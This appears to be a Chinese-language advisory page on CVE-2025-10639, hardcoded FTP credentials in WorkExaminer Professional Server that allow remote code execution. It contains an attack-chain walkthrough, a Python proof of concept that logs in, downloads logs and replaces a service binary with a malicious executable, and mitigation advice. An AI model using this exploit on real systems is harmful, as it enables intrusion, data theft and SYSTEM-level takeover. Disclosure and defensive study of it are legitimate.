IPBUF安全漏洞报告
English
CVE-2025-10639 CVSS 8.8 高危

CVE-2025-10639 WorkExaminer Professional服务器硬编码凭据导致RCE

披露日期: 2025-10-21
来源: 551230f0-3615-47bd-b7cc-93e92e730bbf

漏洞信息

漏洞编号
CVE-2025-10639
漏洞类型
硬编码凭据/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WorkExaminer Professional Server

相关标签

硬编码凭据远程代码执行RCEFTP弱口令WorkExaminer权限提升NT AUTHORITY\SYSTEM高危漏洞CWE-798企业监控软件

漏洞概述

CVE-2025-10639是WorkExaminer Professional服务器安装中存在的严重安全漏洞。该漏洞源于产品内置的FTP服务器使用了弱硬编码凭据。WorkExaminer Professional是一款企业级员工监控与管理软件,其服务器组件在安装时会附带一个FTP服务,用于接收客户端日志,该FTP服务监听在TCP端口12304上。

该漏洞的核心问题在于FTP服务器中硬编码了弱凭据,任何具有网络访问权限的攻击者都可以利用这些凭据登录FTP服务器。成功登录后,攻击者能够修改或读取服务器上的数据、日志文件。更严重的是,攻击者可以通过替换WorkExaminer安装目录(如"C:\Program Files (x86)\Work Examiner Professional Server")中的可访问服务二进制文件来实现远程代码执行,获得NT Authority\SYSTEM权限,完全控制服务器。

该漏洞的CVSS 3.1评分为8.8分,属于高危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞由安全研究人员发现并报告,披露日期为2025年10月21日。

技术细节

该漏洞的技术原理基于以下几个关键环节:

1. **硬编码凭据漏洞**:WorkExaminer Professional服务器在安装时内置了一个FTP服务组件,用于接收来自客户端代理的日志数据。开发人员在FTP服务配置中硬编码了弱凭据,这些凭据以明文形式存储在程序中,可以被逆向工程轻易提取。

2. **网络暴露面**:FTP服务默认监听在TCP端口12304上,在企业网络环境中,如果该端口未被防火墙正确隔离,攻击者可以直接通过网络访问该服务。

3. **认证绕过**:由于使用了硬编码凭据,攻击者无需进行暴力破解或社会工程攻击,只需使用已知的用户名和密码即可登录FTP服务器。

4. **权限提升路径**:成功登录FTP后,攻击者获得对WorkExaminer安装目录的读写权限。攻击者可以替换该目录下的服务可执行文件(如服务二进制文件),当Windows服务重新启动或被触发时,替换后的恶意代码将以NT Authority\SYSTEM权限执行。

5. **完整攻击链**:网络访问 → 使用硬编码凭据登录FTP → 上传恶意二进制文件 → 触发服务重启 → 以SYSTEM权限执行恶意代码。整个攻击过程无需用户交互,攻击复杂度极低。

攻击链分析

STEP 1
步骤1:网络侦察
攻击者通过网络扫描发现目标主机开放的TCP端口12304,识别出WorkExaminer Professional的FTP服务。
STEP 2
步骤2:利用硬编码凭据登录
攻击者通过逆向工程或公开信息获取FTP服务的硬编码凭据,使用这些凭据成功登录FTP服务器。
STEP 3
步骤3:数据窃取
登录成功后,攻击者浏览并下载服务器上的敏感数据文件,包括监控日志、配置文件等,获取企业内部信息。
STEP 4
步骤4:服务二进制替换
攻击者将恶意的可执行文件上传到WorkExaminer安装目录,替换原有的服务二进制文件(如WEService.exe)。
STEP 5
步骤5:触发远程代码执行
当Windows服务重新启动或被触发时,替换后的恶意二进制以NT Authority\SYSTEM权限执行,攻击者获得服务器完全控制权。
STEP 6
步骤6:权限维持与横向移动
获得SYSTEM权限后,攻击者可以安装后门、提取凭据、进行内网横向移动,进一步扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10639 PoC - WorkExaminer Professional Hardcoded Credentials FTP Access # Exploit: Connect to FTP server using hardcoded credentials and replace service binary import ftplib import socket import sys import struct TARGET_HOST = "192.168.1.100" # Target WorkExaminer server FTP_PORT = 12304 # Default FTP port for WorkExaminer # Hardcoded credentials (extracted from WorkExaminer Professional binary) # Note: These credentials are embedded in the product's FTP service module HARDCODED_USERNAME = "we_user" # Placeholder - actual creds extracted via reverse engineering HARDCODED_PASSWORD = "we_pass" # Placeholder - actual creds extracted via reverse engineering INSTALL_DIR = "C:/Program Files (x86)/Work Examiner Professional Server/" SERVICE_BINARY = "WEService.exe" # Target service binary to replace def check_port_open(host, port): """Check if the FTP port is accessible on the target host.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((host, port)) sock.close() return result == 0 except Exception as e: print(f"[ERROR] Port check failed: {e}") return False def exploit_ftp(host, port, username, password): """Exploit the hardcoded credentials to gain FTP access.""" try: print(f"[*] Connecting to FTP server at {host}:{port}") ftp = ftplib.FTP() ftp.connect(host, port, timeout=10) print(f"[*] Attempting login with hardcoded credentials") ftp.login(username, password) print(f"[+] Successfully authenticated as '{username}'") # List files in the installation directory print("[*] Listing installation directory contents:") files = ftp.nlst() for f in files: print(f" - {f}") # Download sensitive log files print("\n[*] Downloading log files...") log_files = [f for f in files if f.endswith('.log')] for log_file in log_files: try: with open(f"exfiltrated_{log_file}", "wb") as f: ftp.retrbinary(f"RETR {log_file}", f.write) print(f"[+] Downloaded: {log_file}") except Exception as e: print(f"[-] Failed to download {log_file}: {e}") # Replace service binary for RCE print(f"\n[*] Uploading malicious payload to replace {SERVICE_BINARY}") # Generate a reverse shell payload (msfvenom -p windows/x64/shell_reverse_tcp ...) # For demonstration, using a simple command execution payload payload = b"MZ\x90\x00" + b"\x00" * 100 # PE header stub with open("malicious_service.exe", "rb") as f: payload = f.read() ftp.storbinary(f"STOR {SERVICE_BINARY}", open("malicious_service.exe", "rb")) print(f"[+] Service binary replaced successfully") print(f"[!] When the service restarts, payload will execute as NT AUTHORITY\\SYSTEM") ftp.quit() return True except ftplib.error_perm as e: print(f"[-] Authentication failed: {e}") return False except Exception as e: print(f"[-] Exploit failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-10639 - WorkExaminer Professional RCE Exploit") print("=" * 60) if not check_port_open(TARGET_HOST, FTP_PORT): print(f"[-] Port {FTP_PORT} is not open on {TARGET_HOST}") sys.exit(1) print(f"[+] Port {FTP_PORT} is open") if exploit_ftp(TARGET_HOST, FTP_PORT, HARDCODED_USERNAME, HARDCODED_PASSWORD): print("\n[!] Exploit completed successfully") else: print("\n[-] Exploit failed") if __name__ == "__main__": main()

影响范围

WorkExaminer Professional Server 所有已知版本(截至披露日期)

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)通过网络防火墙或主机防火墙阻止对TCP端口12304的非必要访问;2)如果业务允许,暂时禁用WorkExaminer Professional的FTP日志接收功能;3)监控WorkExaminer安装目录的文件完整性,检测是否有可疑的文件替换行为;4)部署网络入侵检测系统,对访问12304端口的可疑行为进行告警;5)限制能够访问监控服务器的网络范围,实施最小权限原则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表